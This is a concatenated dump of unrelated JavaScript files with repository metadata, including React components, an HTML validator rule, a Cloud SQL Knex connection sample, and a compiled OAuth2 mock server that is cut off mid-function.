b6f68083c9413ef2a6bbc976686b63331baa3a9c
[ "MIT" ]
1
2022-03-02T07:00:49.000Z
2022-03-02T07:00:49.000Z
bS.Sked2.WebManagementConsole/ClientApp/src/app/models/trigger.js
babbubba/bS.Sked2
b6f68083c9413ef2a6bbc976686b63331baa3a9c
[ "MIT" ]
null
null
null
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var Trigger = /** @class */ (function () { function Trigger() { } return Trigger; }()); exports.Trigger = Trigger; //# sourceMappingURL=trigger.js.map
26.555556
62
0.648536
4635dfd8528d78f94896910a901f4a44dd3a2160
111
js
JavaScript
.stylelintrc.js
brianmcallister/use-api-poller-worker
1a19ff1420bd39e972de881f48b258c26d15b8e8
[ "MIT" ]
10
2019-06-19T13:25:11.000Z
2021-11-08T06:13:49.000Z
.stylelintrc.js
brianmcallister/highlight-text
6d39647f8438a233adfbf591ceca46ffc73033e5
[ "MIT" ]
102
2016-12-11T18:41:44.000Z
2022-02-13T00:19:08.000Z
.stylelintrc.js
brianmcallister/use-api-poller-worker
1a19ff1420bd39e972de881f48b258c26d15b8e8
[ "MIT" ]
11
2020-07-13T12:11:09.000Z
2021-09-10T17:13:34.000Z
module.exports = { extends: 'stylelint-config-sass-guidelines', rules: { 'max-nesting-depth': 4, } }
15.857143
46
0.630631
4635f72daa126e2044b7c036b64495d60d760dcd
3,644
js
JavaScript
src/index.js
mjmammoth/react-cv-module
b8567f8ac68cce82c418b73ad17d296f99e36ef6
[ "MIT" ]
null
null
null
src/index.js
mjmammoth/react-cv-module
b8567f8ac68cce82c418b73ad17d296f99e36ef6
[ "MIT" ]
null
null
null
src/index.js
mjmammoth/react-cv-module
b8567f8ac68cce82c418b73ad17d296f99e36ef6
[ "MIT" ]
null
null
null
import React, { Component } from 'react' import PropTypes from 'prop-types' import BulmaCSS from 'bulma/css/bulma.css' import mergeClassNames from 'classnames' import Profile from './Components/Profile' import Styles from './styles.css'; import Section from './Components/Section' import ExperiencesList from './Components/ExperiencesList' import ProjectsList from './Components/ProjectsList' import TagsList from './Components/TagsList' import CommonList from './Components/CommonList' import BasicTextBox from './Components/BasicTextBox' const componnentMap = { 'experiences-list': ExperiencesList, text: Section, 'projects-list': ProjectsList, 'tag-list': TagsList, 'common-list': CommonList, 'basic-text': BasicTextBox }; export default class ReactCV extends Component { static propTypes = { personalData: PropTypes.shape({ name: PropTypes.string.isRequired, title: PropTypes.string, contacts: PropTypes.arrayOf(PropTypes.shape({ type: PropTypes.oneOf(['email', 'website', 'phone', 'location', 'linkedin', 'github']), value: PropTypes.string })), languages: PropTypes.arrayOf(PropTypes.shape({ value: PropTypes.string, level: PropTypes.string })), interests: PropTypes.arrayOf(PropTypes.string) }), sections: PropTypes.arrayOf(PropTypes.shape({ type: PropTypes.string, title: PropTypes.string })), branding: PropTypes.bool } static defaultProps = { personalData: { name: 'John Doe', title: 'Senior Software Developer', image: 'https://bulma.io/images/placeholders/128x128.png', contacts: [ { type: 'email', value: 'john@example.com' }, { type: 'phone', value: '+00 (123) 456 78 90' }, { type: 'location', value: 'New York' }, { type: 'website', value: 'example.com' }, { type: 'linkedin', value: 'linkedin.com/in/notexists' }, { type: 'twitter', value: 'twitter.com/404' }, { type: 'github', value: 'github.com/404' } ]}, sections: [{ type: 'text', title: 'Career Profile', content: 'When I was child, I always want to be a developer.', icon: 'usertie' }], branding: true } render() { return ( <section className={mergeClassNames(Styles.appContainer, BulmaCSS.section)}> <main className={BulmaCSS.container}> <div className={mergeClassNames(Styles.cvContainer, BulmaCSS.box)}> <Profile {...this.props.personalData} /> { this.props.sections.map((sectionDetails) => { const { type } = sectionDetails; const Comp = componnentMap[type] || Section; // Fallback to section for any case. return <Comp {...sectionDetails} /> }) } </div> </main> {this.props.branding && <div className={Styles.branding}> I created this CV by modifying a <a href='https://github.com/mjmammoth/react-cv-module' className={Styles.outsideLink} targt='_blank'>React-CV</a> module which is then used in my <a href='https://github.com/mjmammoth/cicv' className={Styles.outsideLink} targt='_blank'>CICV repository</a>, utilising <a href='https://github.com/mjmammoth/cicv/tree/main/.github/workflows' className={Styles.outsideLink} targt='_blank'>GitHub Actions </a> to build, push and deploy to my <a href='https://github.com/mjmammoth/iac-odroid' className={Styles.outsideLink} targt='_blank'>personal kubernetes cluster</a>. </div> } </section> ) } }
37.183673
170
0.63337
4636518abe63aa679de0eeace4b08d0ae717faf0
2,912
js
JavaScript
node_modules/html-validate/build/rules/void.js
imandurr/INST377-SP2021
abdddc186e9c65eaa9e99bd603b703f97ab2abc2
[ "CC0-1.0" ]
null
null
null
node_modules/html-validate/build/rules/void.js
imandurr/INST377-SP2021
abdddc186e9c65eaa9e99bd603b703f97ab2abc2
[ "CC0-1.0" ]
null
null
null
node_modules/html-validate/build/rules/void.js
imandurr/INST377-SP2021
abdddc186e9c65eaa9e99bd603b703f97ab2abc2
[ "CC0-1.0" ]
null
null
null
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const dom_1 = require("../dom"); const rule_1 = require("../rule"); var Style; (function (Style) { Style[Style["Any"] = 0] = "Any"; Style[Style["AlwaysOmit"] = 1] = "AlwaysOmit"; Style[Style["AlwaysSelfclose"] = 2] = "AlwaysSelfclose"; })(Style || (Style = {})); const defaults = { style: "omit", }; class Void extends rule_1.Rule { constructor(options) { super(Object.assign({}, defaults, options)); this.style = parseStyle(this.options.style); } get deprecated() { return true; } documentation() { return { description: "HTML void elements cannot have any content and must not have an end tag.", url: rule_1.ruleDocumentationUrl(__filename), }; } setup() { this.on("tag:close", (event) => { const current = event.target; // The current element being closed const active = event.previous; // The current active element (that is, the current element on the stack) if (current && current.meta) { this.validateCurrent(current); } if (active && active.meta) { this.validateActive(active); } }); } validateCurrent(node) { if (node.voidElement && node.closed === dom_1.NodeClosed.EndTag) { this.report(null, `End tag for <${node.tagName}> must be omitted`, node.location); } } validateActive(node) { /* ignore foreign elements, they may or may not be self-closed and both are * valid */ if (node.meta.foreign) { return; } const selfOrOmitted = node.closed === dom_1.NodeClosed.VoidOmitted || node.closed === dom_1.NodeClosed.VoidSelfClosed; if (node.voidElement) { if (this.style === Style.AlwaysOmit && node.closed === dom_1.NodeClosed.VoidSelfClosed) { this.report(node, `Expected omitted end tag <${node.tagName}> instead of self-closing element <${node.tagName}/>`); } if (this.style === Style.AlwaysSelfclose && node.closed === dom_1.NodeClosed.VoidOmitted) { this.report(node, `Expected self-closing element <${node.tagName}/> instead of omitted end-tag <${node.tagName}>`); } } if (selfOrOmitted && node.voidElement === false) { this.report(node, `End tag for <${node.tagName}> must not be omitted`); } } } exports.default = Void; function parseStyle(name) { switch (name) { case "any": return Style.Any; case "omit": return Style.AlwaysOmit; case "selfclose": case "selfclosing": return Style.AlwaysSelfclose; default: throw new Error(`Invalid style "${name}" for "void" rule`); } }
36.860759
131
0.573146
46372ea9671e675e4c2621c9c0f39617eeff779c
107
js
JavaScript
src/event/hasPullRequest.js
webflint/flow-github-actions
bee07290607daf2a71a076bac9edfb19c8f79395
[ "MIT" ]
null
null
null
src/event/hasPullRequest.js
webflint/flow-github-actions
bee07290607daf2a71a076bac9edfb19c8f79395
[ "MIT" ]
2
2021-05-08T09:47:19.000Z
2021-09-02T01:12:24.000Z
src/event/hasPullRequest.js
webflint/flow-github-actions
bee07290607daf2a71a076bac9edfb19c8f79395
[ "MIT" ]
null
null
null
function hasPullRequest(payload) { return 'pull_request' in payload; } module.exports = hasPullRequest;
17.833333
35
0.775701
46379bf4981914c836c2078313543c5f7b0ffd0e
681
js
JavaScript
src/plugins/gm/teleport.socket.js
Oipo/IdleLands
11298e8959a1f38147f33042b225c3a94bc82bec
[ "MIT" ]
null
null
null
src/plugins/gm/teleport.socket.js
Oipo/IdleLands
11298e8959a1f38147f33042b225c3a94bc82bec
[ "MIT" ]
null
null
null
src/plugins/gm/teleport.socket.js
Oipo/IdleLands
11298e8959a1f38147f33042b225c3a94bc82bec
[ "MIT" ]
1
2015-05-19T01:00:00.000Z
2015-05-19T01:00:00.000Z
import { GameState } from '../../core/game-state'; import { GMCommands } from './commands'; export const event = 'plugin:gm:teleport'; export const description = 'Mod only. Teleport a user to a location.'; export const args = 'targetName, teleData'; export const socket = (socket) => { const teleport = async({ targetName, teleData }) => { if(!socket.authToken) return; const { playerName } = socket.authToken; const player = GameState.getInstance().getPlayer(playerName); if(!player || !player.isMod) return; const target = GameState.getInstance().getPlayer(targetName); GMCommands.teleport(target, teleData); }; socket.on(event, teleport); };
29.608696
70
0.687225
463837c30711400d501fc9ddb30e6043b03be10d
2,334
js
JavaScript
src/routes/engineimage/EngineImageList.js
jenting/longhorn-ui
0ba6a0886f3f5ebbbae1cecbccc1e1986f80633d
[ "Apache-2.0" ]
53
2019-06-19T02:57:37.000Z
2022-03-23T09:07:37.000Z
src/routes/engineimage/EngineImageList.js
jenting/longhorn-ui
0ba6a0886f3f5ebbbae1cecbccc1e1986f80633d
[ "Apache-2.0" ]
85
2019-06-19T07:12:04.000Z
2022-03-05T10:31:36.000Z
src/routes/engineimage/EngineImageList.js
isabella232/longhorn-ui
eecabc09b59f03750a53815251c48f10c96707c6
[ "Apache-2.0" ]
45
2019-06-25T01:23:54.000Z
2022-03-23T08:55:18.000Z
import React from 'react' import PropTypes from 'prop-types' import { Table, Icon } from 'antd' import classnames from 'classnames' import { formatDate } from '../../utils/formatDate' import EngineImageActions from './EngineImageActions' import { LinkTo } from '../../components' function list({ loading, dataSource, deleteEngineImage }) { const engineImageActionsProps = { deleteEngineImage, } const columns = [ { title: 'Image', dataIndex: 'image', key: 'image', width: 300, render: (text, record) => { return ( <div> <LinkTo to={{ pathname: `/engineimage/${record.id}` }}> {text} </LinkTo> </div> ) }, }, { title: 'Status', dataIndex: 'state', key: 'state', width: 100, render: (text) => { return ( <div className={classnames({ [text.toLowerCase()]: true, capitalize: true })}> {text.hyphenToHump()} </div> ) }, }, { title: 'Default', dataIndex: 'default', key: 'default', width: 200, render: (defualt) => { return ( defualt ? <Icon type="star" /> : <div></div> ) }, }, { title: 'Reference Count', dataIndex: 'refCount', key: 'refCount', width: 200, render: (text) => { return ( <div>{text}</div> ) }, }, { title: 'Build Date', dataIndex: 'buildDate', key: 'buildDate', width: 200, render: (text) => { return ( <div> {formatDate(text)} </div> ) }, }, { title: '', key: 'operation', width: 100, render: (text, record) => { return ( <EngineImageActions {...engineImageActionsProps} selected={record} /> ) }, }, ] const pagination = false return ( <div> <Table bordered={false} columns={columns} dataSource={dataSource} loading={loading} simple pagination={pagination} rowKey={record => record.id} /> </div> ) } list.propTypes = { loading: PropTypes.bool, dataSource: PropTypes.array, deleteEngineImage: PropTypes.func, } export default list
21.412844
88
0.498715
463847ff7be81faa45cff3e47f31cc7c9c4438d7
175
js
JavaScript
app.js
csldev/FLSTS
47be5c8d15a5484adf119bc49cbd6ef726d8df46
[ "Apache-2.0" ]
null
null
null
app.js
csldev/FLSTS
47be5c8d15a5484adf119bc49cbd6ef726d8df46
[ "Apache-2.0" ]
null
null
null
app.js
csldev/FLSTS
47be5c8d15a5484adf119bc49cbd6ef726d8df46
[ "Apache-2.0" ]
1
2018-07-30T06:40:35.000Z
2018-07-30T06:40:35.000Z
//app.js import request from './utils/request'; import Settings from './utils/settings'; App({ settings:new Settings(), onLaunch: function () { }, albumInfos:[], })
17.5
40
0.645714
463860928c154e663f39c49a16c00687214e7e69
2,429
js
JavaScript
cloud-sql/postgres/knex/connect-tcp.js
tmatsuo/nodejs-docs-samples
0f370658e784ef1627f49739591a8e52b0f73556
[ "Apache-2.0" ]
null
null
null
cloud-sql/postgres/knex/connect-tcp.js
tmatsuo/nodejs-docs-samples
0f370658e784ef1627f49739591a8e52b0f73556
[ "Apache-2.0" ]
1
2020-08-21T05:42:31.000Z
2020-08-21T05:42:31.000Z
cloud-sql/postgres/knex/connect-tcp.js
tmatsuo/nodejs-docs-samples
0f370658e784ef1627f49739591a8e52b0f73556
[ "Apache-2.0" ]
null
null
null
// Copyright 2022 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. 'use strict'; // [START cloud_sql_postgres_knex_connect_tcp] // [START cloud_sql_postgres_knex_connect_tcp_sslcerts] const Knex = require('knex'); const fs = require('fs'); // createTcpPool initializes a TCP connection pool for a Cloud SQL // instance of Postgres. const createTcpPool = async config => { // Note: Saving credentials in environment variables is convenient, but not // secure - consider a more secure solution such as // Cloud Secret Manager (https://cloud.google.com/secret-manager) to help // keep secrets safe. const dbConfig = { client: 'pg', connection: { host: process.env.INSTANCE_HOST, // e.g. '127.0.0.1' port: process.env.DB_PORT, // e.g. '5432' user: process.env.DB_USER, // e.g. 'my-user' password: process.env.DB_PASS, // e.g. 'my-user-password' database: process.env.DB_NAME, // e.g. 'my-database' }, // ... Specify additional properties here. ...config, }; // [END cloud_sql_postgres_knex_connect_tcp] // (OPTIONAL) Configure SSL certificates // For deployments that connect directly to a Cloud SQL instance without // using the Cloud SQL Proxy, configuring SSL certificates will ensure the // connection is encrypted. if (process.env.DB_ROOT_CERT) { dbConfig.ssl = { rejectUnauthorized: false, ca: fs.readFileSync(process.env.DB_ROOT_CERT), // e.g., '/path/to/my/server-ca.pem' key: fs.readFileSync(process.env.DB_KEY), // e.g. '/path/to/my/client-key.pem' cert: fs.readFileSync(process.env.DB_CERT), // e.g. '/path/to/my/client-cert.pem' }; } // [END cloud_sql_postgres_knex_connect_tcp_sslcerts] // [START cloud_sql_postgres_knex_connect_tcp] // Establish a connection to the database. return Knex(dbConfig); }; // [END cloud_sql_postgres_knex_connect_tcp] module.exports = createTcpPool;
39.819672
89
0.709345
46391b5eadbd3cd8f3177bff9754b0653b4e29a5
4,744
js
JavaScript
src/app/commons/directives/translateAttribute.js
fschueller/WebClient
a9328648c5c8b3108c9b8c514bf2276f7c4bc651
[ "MIT" ]
null
null
null
src/app/commons/directives/translateAttribute.js
fschueller/WebClient
a9328648c5c8b3108c9b8c514bf2276f7c4bc651
[ "MIT" ]
1
2022-03-02T10:07:15.000Z
2022-03-02T10:07:15.000Z
src/app/commons/directives/translateAttribute.js
fschueller/WebClient
a9328648c5c8b3108c9b8c514bf2276f7c4bc651
[ "MIT" ]
null
null
null
angular.module('proton.commons') .directive('placeholderTranslate', generateDirective('placeholder')) .directive('titleTranslate', generateDirective('title')) .directive('ptTooltipTranslate', generateDirective('pt-tooltip')); // Adapted from https://github.com/rubenv/angular-gettext/blob/master/src/directive.js function generateDirective(attrName) { function normalizeAttributeName(attributeName) { // copied from angular.js v1.2.2 // (c) 2010-2012 Google, Inc. http://angularjs.org // License: MIT // Copied from http://thetoeb.de/2014/01/14/angular-normalized-attribute-names/ // Modified to escape hyphens in the regexs const SPECIAL_CHARS_REGEXP = /([:\-_]+(.))/g; const MOZ_HACK_REGEXP = /^moz([A-Z])/; function camelCase(name) { return name.replace(SPECIAL_CHARS_REGEXP, (_, separator, letter, offset) => { return offset ? letter.toUpperCase() : letter; }).replace(MOZ_HACK_REGEXP, 'Moz$1'); } const PREFIX_REGEXP = /^(x[:\-_]|data[:\-_])/i; function directiveNormalize(name) { return camelCase(name.replace(PREFIX_REGEXP, '')); } return directiveNormalize(attributeName); } function assert(condition, missing, found) { if (!condition) { throw new Error('You should add a ' + missing + ' attribute whenever you add a ' + found + ' attribute.'); } } const normAttrName = normalizeAttributeName(attrName); return ['gettextCatalog', '$parse', '$animate', '$compile', function (gettextCatalog, $parse, $animate, $compile) { return { restrict: 'A', terminal: true, priority: 1000, compile(element, attrs) { // Validate attributes if (!attrs[normAttrName + 'Translate']) { throw new Error('Missing ' + normAttrName + '-translate attribute!'); } assert(!attrs[normAttrName + 'TranslatePlural'] || attrs[normAttrName + 'TranslateN'], normAttrName + 'translate-n', normAttrName + 'translate-plural'); assert(!attrs[normAttrName + 'TranslateN'] || attrs[normAttrName + 'TranslatePlural'], normAttrName + 'translate-plural', normAttrName + 'translate-n'); const msgid = attrs[normAttrName + 'Translate']; const translatePlural = attrs[normAttrName + 'TranslatePlural']; const translateContext = attrs[normAttrName + 'TranslateContext']; return { pre(scope, element, attrs) { const attribute = attrs[normAttrName + 'TranslateN']; const countFn = attribute ? angular.noop : $parse(attribute); let pluralScope = null; function update() { // Fetch correct translated string. let translated; if (translatePlural) { /* eslint no-param-reassign: "off" */ scope = pluralScope || (pluralScope = scope.$new()); scope.$count = countFn(scope); translated = gettextCatalog.getPlural(scope.$count, msgid, translatePlural, {}, translateContext); } else { translated = gettextCatalog.getString(msgid, null, translateContext); } const oldContents = attrs[normAttrName]; // Avoid redundant swaps if (translated === oldContents) { return; } // Swap in the translation element[0].setAttribute(attrName, translated); } if (attribute) { scope.$watch(attribute, update); } /** * @ngdoc event * @name translate#gettextLanguageChanged * @eventType listen on scope * @description Listens for language updates and changes translation accordingly */ scope.$on('gettextLanguageChanged', update); update(); element.removeAttr(attrName + '-translate'); $compile(element)(scope); } }; } }; }]; }
42.357143
168
0.508221
463920f0b02aea2bc101906e0749b0cdaf6338ff
48
js
JavaScript
code/public/ckeditor/config.js
maksym-prikhodko/fvdesk
610d4c8b68f48ad9091b0bc37a4cb6ffb9830a9b
[ "Apache-2.0" ]
null
null
null
code/public/ckeditor/config.js
maksym-prikhodko/fvdesk
610d4c8b68f48ad9091b0bc37a4cb6ffb9830a9b
[ "Apache-2.0" ]
null
null
null
code/public/ckeditor/config.js
maksym-prikhodko/fvdesk
610d4c8b68f48ad9091b0bc37a4cb6ffb9830a9b
[ "Apache-2.0" ]
null
null
null
CKEDITOR.editorConfig = function( config ) { };
16
44
0.708333
4639f4b1d3fe9ab7e3b6b826360e64eae782581d
962
js
JavaScript
node_modules/update/node_modules/verb/node_modules/repo-utils/lib/url.js
kevhou/grid-test
e3be20a9e84e845f0db9c2dbc5cd25451ada00b9
[ "MIT" ]
null
null
null
node_modules/update/node_modules/verb/node_modules/repo-utils/lib/url.js
kevhou/grid-test
e3be20a9e84e845f0db9c2dbc5cd25451ada00b9
[ "MIT" ]
null
null
null
node_modules/update/node_modules/verb/node_modules/repo-utils/lib/url.js
kevhou/grid-test
e3be20a9e84e845f0db9c2dbc5cd25451ada00b9
[ "MIT" ]
null
null
null
'use strict'; var UtilError = require('./error'); var extend = require('extend-shallow'); var url = require('url'); /** * Base method used by other utils for creating a URL * from a string or object. * * ```js * repo.url('abc/xyz'); * //=> 'https://github.com/abc/xyz' * * repo.url({pathname: 'abc/xyz'}); * //=> 'https://github.com/abc/xyz' * ``` * * @name url * @param {String|Object} `pathname` Pathname or options object. Pathname should be user/repo or org/repo * @param {Object} `options` * @return {String} Formatted github url * @api public */ module.exports = function(pathname, options) { if (!pathname) { throw new UtilError('url', 'expects a string or object.'); } var opts = extend({protocol: 'https', slashes: true, hostname: 'github.com'}, options); opts.pathname = pathname; if (typeof pathname !== 'string') { options = pathname; opts.pathname = options.pathname; } return url.format(opts); };
23.463415
106
0.635135
463a02518145047dec6cc75c50d592b0b643ff76
2,865
js
JavaScript
app/components/head.js
chasing-pointers/lbry.tech
05af3d76a071056893c8e48bb19ae099c0810147
[ "MIT" ]
1
2020-01-22T22:41:52.000Z
2020-01-22T22:41:52.000Z
app/components/head.js
chasing-pointers/lbry.tech
05af3d76a071056893c8e48bb19ae099c0810147
[ "MIT" ]
null
null
null
app/components/head.js
chasing-pointers/lbry.tech
05af3d76a071056893c8e48bb19ae099c0810147
[ "MIT" ]
null
null
null
"use strict"; // I M P O R T import html from "choo/html"; // U T I L import config from "~root/config"; // E X P O R T export default (state, emit) => { const newMetadata = state.lbry; const description = newMetadata && newMetadata.description ? newMetadata.description : config.meta.description; const title = newMetadata && newMetadata.title ? newMetadata.title + " - lbry.tech" : "lbry.tech - " + config.meta.tagline; if (state.title !== title) emit(state.events.DOMTITLECHANGE, title); state.page = state.page || { }; return html` <meta charset="utf-8"/> <title>${title}</title> <meta name="apple-mobile-web-app-capable" content="yes"/> <meta name="author" content="${config.meta.title}"/> <meta name="description" content="${description}"/> <meta name="title" content="${config.meta.title}"/> <meta name="viewport" content="user-scalable=no, width=device-width, initial-scale=1, maximum-scale=1"/> <!--/ Open Graph /--> <meta property="og:title" content="${title}"/> <meta property="og:description" content="${description}"/> <meta property="og:image" content="${newMetadata && newMetadata["og:image"] ? newMetadata["og:image"] : "/assets/media/images/og-image.png"}"/> <meta property="og:image:height" content="${newMetadata && newMetadata["og:image:height"] ? newMetadata["og:image:height"] : 1125}"/> <meta property="og:image:width" content="${newMetadata && newMetadata["og:image:width"] ? newMetadata["og:image:width"] : 2000}"/> <meta property="og:locale" content="en_US"/> <meta property="og:site_name" content="LBRY.tech"/> <meta property="og:type" content="website"/> <meta property="og:url" content="https://lbry.tech${state.href}"/> <!--/ Social/App Stuff /--> <meta name="apple-mobile-web-app-title" content="${config.meta.title}"/> <meta name="application-name" content="${config.meta.title}"/> <meta name="msapplication-TileColor" content="${config.meta.color}"/> <meta name="msapplication-TileImage" content="/assets/apple-touch-icon.png"/> <meta name="theme-color" content="${config.meta.color}"/> <link rel="apple-touch-icon" href="/assets/apple-touch-icon.png"/> <link rel="icon" href="/assets/favicon.svg" type="image/svg+xml"/> <link rel="mask-icon" href="/assets/favicon.svg" color="${config.meta.color}"/> <link rel="shortcut icon" href="/assets/favicon.ico"/> <link rel="stylesheet" href="https://rsms.me/inter/inter.css"/> <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/tonsky/FiraCode@master/distr/fira_code.css"/> <link rel="stylesheet" href="/assets/bundle.css"/> <script src="/assets/scripts/sockets.js"></script> `; }; // H E L P E R String.prototype.capitalize = function() { return this.charAt(0).toUpperCase() + this.slice(1); };
36.265823
147
0.655846
463a0bcd2bd2c663f160bd86f9456569e5d65763
2,194
js
JavaScript
src/client/components/__tests__/AvatarLightbox.js
lucykolosova/waivio
4d3983377ba54f45ab6b9654545502211e3c6efb
[ "MIT" ]
8
2018-11-05T08:00:46.000Z
2021-12-10T11:10:22.000Z
src/client/components/__tests__/AvatarLightbox.js
lucykolosova/waivio
4d3983377ba54f45ab6b9654545502211e3c6efb
[ "MIT" ]
1,632
2018-11-20T16:13:50.000Z
2022-03-31T12:50:23.000Z
src/client/components/__tests__/AvatarLightbox.js
lucykolosova/waivio
4d3983377ba54f45ab6b9654545502211e3c6efb
[ "MIT" ]
8
2019-08-09T10:40:22.000Z
2022-02-03T12:09:06.000Z
import React from 'react'; import { act } from 'react-dom/test-utils'; import { shallow, mount } from 'enzyme'; import { Provider } from 'react-redux'; import configureStore from 'redux-mock-store'; import AvatarLightbox from '../AvatarLightbox'; describe('<AvatarLightbox />', () => { const mockStore = configureStore(); let props; let store; let wrapper; beforeEach(() => { props = { username: 'username', size: 50, isActive: false, }; store = mockStore({ auth: { user: { name: 'username', }, }, }); wrapper = mount( <Provider store={store}> <AvatarLightbox {...props} /> </Provider>, ); act(() => { wrapper.update(); }); }); it('renders without exploding', () => { store = mockStore(); wrapper = shallow( <Provider store={store}> <AvatarLightbox {...props} /> </Provider>, ); act(() => { wrapper.update(); }); expect(wrapper).toMatchSnapshot(); }); it('Should have defaultProps', () => { const defaultProps = { username: undefined, size: 100, isActive: false, }; store = mockStore(); wrapper = shallow( <Provider store={store}> <AvatarLightbox {...props} /> </Provider>, ); act(() => { wrapper.update(); }); expect(wrapper.props().children.type.defaultProps).toEqual(defaultProps); }); it('Should render Avatar component with same username and size props', () => { const AvatarPros = { username: 'username', size: 50, }; expect(wrapper.find('Avatar').props()).toEqual(AvatarPros); }); it('Should render div UserHeader__container--active with isActive = true prop', () => { props = { username: 'username', size: 50, isActive: true, }; wrapper = mount( <Provider store={store}> <AvatarLightbox {...props} /> </Provider>, ); act(() => { wrapper.update(); }); expect(wrapper.find('.UserHeader__container--active')).toHaveLength(1); expect(wrapper.find('.UserHeader__container--active')).not.toBeUndefined(); }); });
22.161616
89
0.554695
463a6c40419bf849ede71de069d2463b22b67426
10,010
js
JavaScript
dist/lib/oauth2-service.js
oddirmeyer/oauth2-mock-server
bf208fab8a475366945fce203d44ec2f3f6747e3
[ "MIT" ]
null
null
null
dist/lib/oauth2-service.js
oddirmeyer/oauth2-mock-server
bf208fab8a475366945fce203d44ec2f3f6747e3
[ "MIT" ]
5
2020-12-09T00:01:37.000Z
2020-12-09T00:01:39.000Z
dist/lib/oauth2-service.js
CLCInc/oauth2-mock-server
eeab6aeb9642569c90dd4c15f2440b1bc438c7b5
[ "MIT" ]
null
null
null
"use strict"; var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, privateMap, value) { if (!privateMap.has(receiver)) { throw new TypeError("attempted to set private field on non-instance"); } privateMap.set(receiver, value); return value; }; var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, privateMap) { if (!privateMap.has(receiver)) { throw new TypeError("attempted to get private field on non-instance"); } return privateMap.get(receiver); }; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; var _issuer, _requestHandler, _nonce; Object.defineProperty(exports, "__esModule", { value: true }); exports.OAuth2Service = void 0; const express_1 = __importDefault(require("express")); const cors_1 = __importDefault(require("cors")); const body_parser_1 = __importDefault(require("body-parser")); const basic_auth_1 = __importDefault(require("basic-auth")); const events_1 = require("events"); const uuid_1 = require("uuid"); const helpers_1 = require("./helpers"); const types_1 = require("./types"); const OPENID_CONFIGURATION_PATH = '/.well-known/openid-configuration'; const TOKEN_ENDPOINT_PATH = '/token'; const JWKS_URI_PATH = '/jwks'; const AUTHORIZE_PATH = '/authorize'; const USERINFO_PATH = '/userinfo'; const REVOKE_PATH = '/revoke'; class OAuth2Service extends events_1.EventEmitter { constructor(oauth2Issuer) { super(); _issuer.set(this, void 0); _requestHandler.set(this, void 0); _nonce.set(this, void 0); this.buildRequestHandler = () => { const app = express_1.default(); app.disable('x-powered-by'); app.use(cors_1.default()); app.get(OPENID_CONFIGURATION_PATH, this.openidConfigurationHandler); app.get(JWKS_URI_PATH, this.jwksHandler); app.post(TOKEN_ENDPOINT_PATH, body_parser_1.default.urlencoded({ extended: false }), this.tokenHandler); app.get(AUTHORIZE_PATH, this.authorizeHandler); app.get(USERINFO_PATH, this.userInfoHandler); app.post(REVOKE_PATH, this.revokeHandler); return app; }; this.openidConfigurationHandler = (_req, res) => { helpers_1.assertIsString(this.issuer.url, 'Unknown issuer url.'); const openidConfig = { issuer: this.issuer.url, token_endpoint: `${this.issuer.url}${TOKEN_ENDPOINT_PATH}`, authorization_endpoint: `${this.issuer.url}${AUTHORIZE_PATH}`, userinfo_endpoint: `${this.issuer.url}${USERINFO_PATH}`, token_endpoint_auth_methods_supported: ['none'], jwks_uri: `${this.issuer.url}${JWKS_URI_PATH}`, response_types_supported: ['code'], grant_types_supported: [ 'client_credentials', 'authorization_code', 'password', ], token_endpoint_auth_signing_alg_values_supported: ['RS256'], response_modes_supported: ['query'], id_token_signing_alg_values_supported: ['RS256'], revocation_endpoint: `${this.issuer.url}${REVOKE_PATH}`, }; return res.json(openidConfig); }; this.jwksHandler = (_req, res) => { res.json(this.issuer.keys); }; this.tokenHandler = (req, res) => { const tokenTtl = 3600; res.set({ 'Cache-Control': 'no-store', Pragma: 'no-cache', }); let xfn; helpers_1.assertIsValidTokenRequest(req.body); const reqBody = req.body; let { scope } = reqBody; switch (req.body.grant_type) { case 'client_credentials': xfn = scope; break; case 'password': xfn = (_header, payload) => { Object.assign(payload, { sub: reqBody.username, amr: ['pwd'], scope, }); }; break; case 'authorization_code': scope = 'dummy'; xfn = (_header, payload) => { Object.assign(payload, { sub: 'johndoe', amr: ['pwd'], scope, }); }; break; case 'refresh_token': scope = 'dummy'; xfn = (_header, payload) => { Object.assign(payload, { sub: 'johndoe', amr: ['pwd'], scope, }); }; break; default: return res.status(400).json({ error: 'invalid_grant', }); } const token = this.buildToken(true, xfn, tokenTtl, req); const body = { access_token: token, token_type: 'Bearer', expires_in: tokenTtl, scope, }; if (req.body.grant_type !== 'client_credentials') { const credentials = basic_auth_1.default(req); const clientId = credentials ? credentials.name : req.body.client_id; const xfn = (_header, payload) => { Object.assign(payload, { sub: 'johndoe', aud: clientId, }); if (reqBody.code !== undefined && __classPrivateFieldGet(this, _nonce)[reqBody.code]) { Object.assign(payload, { nonce: __classPrivateFieldGet(this, _nonce)[reqBody.code], }); delete __classPrivateFieldGet(this, _nonce)[reqBody.code]; } }; body.id_token = this.buildToken(true, xfn, tokenTtl, req); body.refresh_token = uuid_1.v4(); } const tokenEndpointResponse = { body, statusCode: 200, }; this.emit(types_1.PublicEvents.BeforeResponse, tokenEndpointResponse, req); return res .status(tokenEndpointResponse.statusCode) .json(tokenEndpointResponse.body); }; this.authorizeHandler = (req, res) => { let { scope, state } = req.query; const responseType = req.query.response_type; const redirectUri = req.query.redirect_uri; const code = uuid_1.v4(); let queryNonce; if ('nonce' in req.query) { helpers_1.assertIsString(req.query.nonce, 'Invalid nonce type'); queryNonce = req.query.nonce; } helpers_1.assertIsString(redirectUri, 'Invalid redirectUri type'); if (typeof scope !== 'string' || !scope) { scope = 'dummy'; } if (typeof state !== 'string' || !state) { state = 'dummy'; } const url = new URL(redirectUri); if (responseType === 'code') { if (queryNonce !== undefined) { __classPrivateFieldGet(this, _nonce)[code] = queryNonce; } url.searchParams.set('code', code); url.searchParams.set('scope', scope); url.searchParams.set('state', state); } else { url.searchParams.set('error', 'unsupported_response_type'); url.searchParams.set('error_description', 'The authorization server does not support obtaining an access token using this response_type.'); url.searchParams.set('state', state); } const 